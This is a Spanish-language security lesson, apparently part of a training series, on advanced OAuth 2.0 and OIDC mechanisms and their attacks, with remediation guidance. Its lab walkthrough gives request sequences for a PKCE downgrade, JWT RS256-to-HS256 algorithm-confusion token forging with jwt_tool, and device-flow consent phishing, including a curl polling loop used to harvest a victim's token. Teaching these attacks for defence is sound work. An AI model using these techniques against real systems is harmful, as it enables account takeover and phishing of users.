OAuth 2.0 y OIDC avanzado: PKCE internals, token exchange, device flow y ataques modernos
· 11 min de lectura
Más allá de los fallos clásicos de OAuth: PKCE en profundidad, token exchange (RFC 8693), device authorization grant, DPoP, PAR y ataques modernos como token replay, consent phishing y metadata poisoning.
La lección de OAuth flows rotos cubrió los fallos clásicos que siguen apareciendo en auditorías: redirect_uri laxo, state ausente, implicit flow obsoleto y token leakage por referer. Esos vectores son el ABC de la seguridad en OAuth, pero el protocolo ha crecido mucho más allá del Authorization Code básico. Hoy los entornos corporativos usan flujos que la mayoría de desarrolladores ni siquiera conoce: token exchange entre microservicios, device authorization grant para CLIs y smart TVs, DPoP para vincular tokens a claves criptográficas y PAR para mover los parámetros de autorización al servidor.
Esta lección profundiza en esos mecanismos avanzados y en los ataques que los acompañan. No repite lo que ya cubrimos: aquí verás cómo funciona PKCE por dentro (y por qué S256 importa), cómo un atacante abusa del device flow para phishing corporativo, cómo un metadata poisoning redirige tokens al servidor equivocado y cómo la confusión de algoritmos en JWT sigue produciendo account takeover en 2026. Es la séptima lección de la Tanda 9.
Practica solo contra entornos autorizados o laboratorios. Interceptar tokens OAuth en producción ajena es intrusión y delito.
Qué es OAuth 2.0 avanzado#

OAuth 2.0 es un framework de delegación de acceso. OpenID Connect (OIDC) añade una capa de identidad encima con el id_token JWT. A nivel básico, el flujo Authorization Code intercambia un code por un access_token. Los mecanismos avanzados extienden ese modelo para cubrir escenarios que el flujo básico no resuelve:
- PKCE (RFC 7636): protege el code contra interceptación en clientes públicos (SPAs, móviles, CLIs) donde no hay client_secret seguro.
- Token Exchange (RFC 8693): permite a un servicio obtener un token en nombre de otro usuario o servicio sin que el usuario vuelva a autenticarse. Esencial en arquitecturas de microservicios.
- Device Authorization Grant (RFC 8628): permite autenticar dispositivos sin navegador (smart TVs, IoT, CLIs) mostrando un código que el usuario introduce en otro dispositivo.
- DPoP (RFC 9449): vincula el access_token a una clave criptográfica del cliente, impidiendo que un token robado se use desde otro equipo.
- PAR (RFC 9126): el cliente envía los parámetros de autorización directamente al servidor por back-channel antes de redirigir al usuario, evitando manipulación en la URL.
Por qué ocurre: la causa raíz#
La complejidad es la raíz. OAuth 2.0 tiene más de veinte RFCs entre core y extensiones. Los desarrolladores implementan lo mínimo que funciona y dejan los controles avanzados para después, un después que no llega. Las causas concretas:
- PKCE con method plain: la especificación permite
code_challenge_method=plain(el challenge es el verifier sin hashear), que no protege contra interceptación. Muchos servidores lo aceptan por defecto. - Token exchange sin validación de audience: un microservicio solicita un token delegado sin verificar que el subject_token pertenece al flujo correcto.
- Device flow sin rate limiting: el polling del device code se implementa sin backoff, y los códigos de usuario son cortos y predecibles.
- Metadata discovery sin pinning: el cliente confía ciegamente en
/.well-known/openid-configurationsin validar TLS ni cachear. - JWT sin verificación de algoritmo: el servidor acepta cualquier
algdel header sin comparar con lo esperado.
Tipos y variantes#
| Mecanismo | RFC | Escenario | Riesgo si se implementa mal |
|---|---|---|---|
| PKCE | 7636 | SPAs, móviles, CLIs | Code interceptado si se usa plain en vez de S256 |
| Token Exchange | 8693 | Microservicios, delegation | Impersonation cruzado entre servicios |
| Device Auth Grant | 8628 | Smart TVs, IoT, CLIs | Phishing: el usuario autoriza sin saber qué app |
| DPoP | 9449 | Tokens vinculados a clave | Token replay si no se implementa |
| PAR | 9126 | Params server-side | Request URI forgery si el endpoint no está protegido |
| Dynamic Client Reg | 7591 | Multi-tenant | SSRF vía redirect_uri controlado por el atacante |
Dónde aparece#
- Aplicaciones SPA que usan PKCE con method plain o sin PKCE.
- Plataformas de microservicios con token exchange entre servicios internos sin audience validation.
- CLIs corporativas (GitHub CLI, Azure CLI, gcloud) que usan device flow.
- Identity providers multi-tenant (Okta, Auth0, Keycloak) con dynamic client registration abierta.
- APIs internas que aceptan JWT sin validar el algoritmo de firma.
Cómo se detecta#
| Prueba | Qué buscar | Herramienta |
|---|---|---|
| PKCE downgrade | Enviar code_challenge_method=plain y ver si el server acepta | Burp Repeater |
| Device flow abuse | Iniciar device flow y verificar si hay rate limiting en el polling | curl, script custom |
| Metadata tampering | Modificar respuesta de .well-known y verificar si el cliente la acepta | mitmproxy, Burp |
| JWT alg confusion | Enviar token con alg:none o alg:HS256 con la clave pública como secret | jwt_tool, jwt.io |
| Token exchange sin aud | Solicitar token exchange con subject_token de otro audience | curl, Postman |
| Dynamic registration SSRF | Registrar client con redirect_uri a servicio interno | curl |
Herramientas específicas#
- jwt_tool: testing automatizado de JWT (alg confusion, injection, key brute force).
- oauth-device-code-phishing: PoC de phishing con device flow.
- Burp OAuth extension: visualización y modificación de flujos.
- oidc-client-test: validador de implementaciones OIDC.
- Keycloak local: IDP gratuito para montar laboratorio propio.
Explotación paso a paso en un laboratorio#
Paso 1 — Identificar el flujo#
Intercepta con Burp el inicio de sesión. Busca los parámetros de la URL de autorización:
GET /authorize?client_id=app123
&redirect_uri=https://app.com/callback
&response_type=code
&scope=openid profile email
&state=abc123
&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM
&code_challenge_method=S256
Host: auth.ejemplo.com
Si ves code_challenge_method=S256, el cliente usa PKCE. Si no hay code_challenge, no usa PKCE.
Paso 2 — Probar PKCE downgrade#
Modifica la petición cambiando code_challenge_method a plain:
GET /authorize?client_id=app123
&redirect_uri=https://app.com/callback
&response_type=code
&scope=openid profile email
&state=abc123
&code_challenge=mi_verifier_en_texto_plano
&code_challenge_method=plain
Host: auth.ejemplo.com
Si el servidor acepta y devuelve un code, ese code se puede intercambiar enviando el verifier tal cual. Un atacante que intercepte el challenge en la URL conoce el verifier.
Paso 3 — JWT alg confusion#
Obtén un JWT legítimo del laboratorio token-forge. Decodifica el header:
echo 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d
# {"alg":"RS256","typ":"JWT"}
El servidor firma con RS256 (clave privada RSA). Si acepta HS256, puedes firmar con la clave pública (que es pública) como secret HMAC:
# Descargar la clave pública del JWKS
curl https://auth.ejemplo.com/.well-known/jwks.json -o jwks.json
# Extraer la clave pública en PEM
python3 -c "
import json, base64
from cryptography.hazmat.primitives.asymmetric import rsa
# ... extraer n, e del JWK y convertir a PEM
"
# Forjar token con HS256 y la clave pública como secret
python3 jwt_tool.py TOKEN -X k -pk public.pem
Si el servidor valida con la clave pública (que usaba para verificar RS256) como secret HMAC, el token forjado es válido.
Paso 4 — Device flow phishing#
Inicia un device flow contra el authorization server:
curl -X POST https://auth.ejemplo.com/device/code \
-d "client_id=app123&scope=openid profile email"
Respuesta:
{
"device_code": "GmRh...kQ",
"user_code": "WDJB-MJHT",
"verification_uri": "https://auth.ejemplo.com/device",
"expires_in": 900,
"interval": 5
}
Envía verification_uri y user_code a la víctima por correo o chat. Si la víctima los introduce, autoriza tu device_code. Haz polling:
while true; do
curl -s -X POST https://auth.ejemplo.com/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
-d "device_code=GmRh...kQ" \
-d "client_id=app123"
sleep 5
done
Cuando la víctima autoriza, recibes un access_token con sus permisos.
Paso 5 — Verificar impacto#
Con el token obtenido, accede a los endpoints protegidos:
curl -H "Authorization: Bearer ACCESS_TOKEN" \
https://api.ejemplo.com/me
Si devuelve los datos de la víctima, tienes account takeover.
Qué puede lograr un atacante#
| Vector | Impacto |
|---|---|
| PKCE downgrade a plain | Robo de authorization code en redes inseguras o proxies |
| JWT alg confusion | Forjar tokens de cualquier usuario, account takeover total |
| Device flow phishing | Acceso con los permisos de la víctima sin tocar su dispositivo |
| Token replay sin DPoP | Usar token robado desde cualquier máquina |
| Metadata poisoning | Redirigir tokens al endpoint del atacante |
| Dynamic registration SSRF | Escanear red interna del IDP vía redirect_uri |
| Token exchange sin aud | Impersonar usuarios entre microservicios |
Cómo se corrige#

PKCE obligatorio con S256#
Configurar el authorization server para rechazar code_challenge_method=plain y exigir S256:
# Keycloak: Admin Console → Realm Settings → Policies
# PKCE Code Challenge Method: S256 (reject plain)
# Spring Authorization Server
@Bean
public RegisteredClientRepository registeredClientRepository() {
RegisteredClient client = RegisteredClient.withId(UUID.randomUUID().toString())
.clientSettings(ClientSettings.builder()
.requireProofKey(true) // PKCE obligatorio
.build())
.build();
return new InMemoryRegisteredClientRepository(client);
}
JWT: validar algoritmo explícitamente#
# Python (PyJWT)
import jwt
# MAL: acepta cualquier algoritmo
payload = jwt.decode(token, public_key, algorithms=["RS256", "HS256"])
# BIEN: solo el algoritmo esperado
payload = jwt.decode(token, public_key, algorithms=["RS256"])
// Node.js (jsonwebtoken)
// MAL
jwt.verify(token, key);
// BIEN
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
DPoP para tokens vinculados#
El cliente genera un par de claves por sesión y envía un proof JWT en cada petición:
POST /token HTTP/1.1
DPoP: eyJhbGciOiJFUzI1NiIsInR5cCI6ImRwb3Arand0IiwiandrIjp7Imt0eSI6IkVDIiwiY3J2IjoiUC0yNTYiLCJ4IjoibDhx...fQ.eyJodG0iOiJQT1NUIiwiaHR1IjoiaHR0cHM6Ly9hdXRoLmVqZW1wbG8uY29tL3Rva2VuIiwiaWF0IjoxNjI..._sig
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=abc123&code_verifier=dBjftJeZ4CVP...
El access_token queda vinculado a la clave pública del DPoP proof. Sin la clave privada correspondiente, un token robado es inútil.
Device flow: defensa#
- Rate limiting estricto en el polling endpoint.
- User codes largos y con entropía suficiente.
- Mostrar claramente en la pantalla de autorización qué app, qué scopes, qué dispositivo.
- Expiración corta del device_code (5-10 minutos).
- Políticas organizacionales que bloqueen device flow para apps no aprobadas.
PAR para parámetros seguros#
POST /par HTTP/1.1
Content-Type: application/x-www-form-urlencoded
client_id=app123&client_secret=SECRET
&redirect_uri=https://app.com/callback
&response_type=code&scope=openid
&code_challenge=abc&code_challenge_method=S256
Respuesta:
{"request_uri": "urn:ietf:params:oauth:request_uri:abc123", "expires_in": 60}
El redirect usa solo la referencia:
GET /authorize?client_id=app123&request_uri=urn:ietf:params:oauth:request_uri:abc123
Los parámetros originales viajaron por back-channel autenticado. No pueden manipularse en la URL del navegador.
Errores comunes al defenderse#
- Aceptar PKCE con method
plainpor compatibilidad con clientes viejos. - Implementar DPoP solo en el token endpoint pero no en los resource servers.
- Device flow sin límite de polling: un atacante puede hacer brute force del user_code.
- Confiar en
/.well-known/openid-configurationsin verificar TLS ni cachear con TTL. - Permitir dynamic client registration sin aprobación manual: abre SSRF y redirect_uri arbitrario.
- Validar JWT con una lista de algoritmos demasiado amplia.
- Token exchange entre microservicios sin validar el claim
auddel subject_token.
Preguntas frecuentes#
PKCE plain vs S256: si ambos protegen contra terceros que no ven la URL, para qué S256#
PKCE con plain envía el code_verifier como code_challenge en la URL de autorización. Si un atacante intercepta esa URL (log del servidor, extensión de navegador, proxy corporativo), conoce el verifier y puede intercambiar el code. Con S256, la URL contiene solo el hash SHA-256 del verifier: aunque la intercepte, no puede revertir el hash para obtener el verifier original.
DPoP elimina la necesidad de rotar tokens#
No. DPoP vincula el token a una clave, pero si la clave privada se compromete (malware en el dispositivo), el atacante puede generar proofs válidos. Sigue siendo recomendable rotar access_tokens con lifetime corto y usar refresh tokens one-time-use.
El device flow es seguro si uso user codes largos#
Más largos ayuda, pero el riesgo principal del device flow no es brute force del code, sino ingeniería social: convencer al usuario de que introduzca un código que autoriza la app del atacante. La defensa es mostrar información clara en la pantalla de consentimiento y restringir el device flow a apps aprobadas por la organización.
Token exchange es lo mismo que service accounts#
No. Un service account tiene su propia identidad permanente. Token exchange permite a un servicio obtener un token temporal que actúa en nombre de un usuario específico (delegation) o como el servicio pero con el contexto del usuario (impersonation). La diferencia importa para auditoría: con delegation sabes quién es el usuario original.
Qué IDPs soportan PAR y DPoP en 2026#
Keycloak soporta ambos desde la versión 21. Auth0 soporta PAR y DPoP desde 2024. Okta soporta DPoP desde 2023. Azure AD soporta PAR pero DPoP está en preview. Google no soporta DPoP todavía para la mayoría de APIs.
Dónde practico estos ataques#
Los laboratorios signinbleed y token-forge de whoami-labs cubren leakage de autenticación y forgery de JWT. Para device flow y token exchange, montar un Keycloak local con Docker es la mejor opción: configuras un realm con device flow habilitado y pruebas el flujo completo en minutos.
Resumen#
- PKCE protege el authorization code en clientes públicos: usar siempre S256, nunca plain.
- Token Exchange (RFC 8693) permite delegation e impersonation entre microservicios: validar siempre
audysubdel subject_token. - Device Authorization Grant es vulnerable a consent phishing: mostrar info clara, rate limiting, expiración corta.
- DPoP vincula tokens a claves criptográficas: un token robado sin la clave privada es inútil.
- PAR mueve los parámetros de autorización al back-channel: imposible manipular redirect_uri en la URL.
- JWT alg confusion (none, RS256 a HS256) sigue produciendo account takeover: validar el algoritmo explícitamente.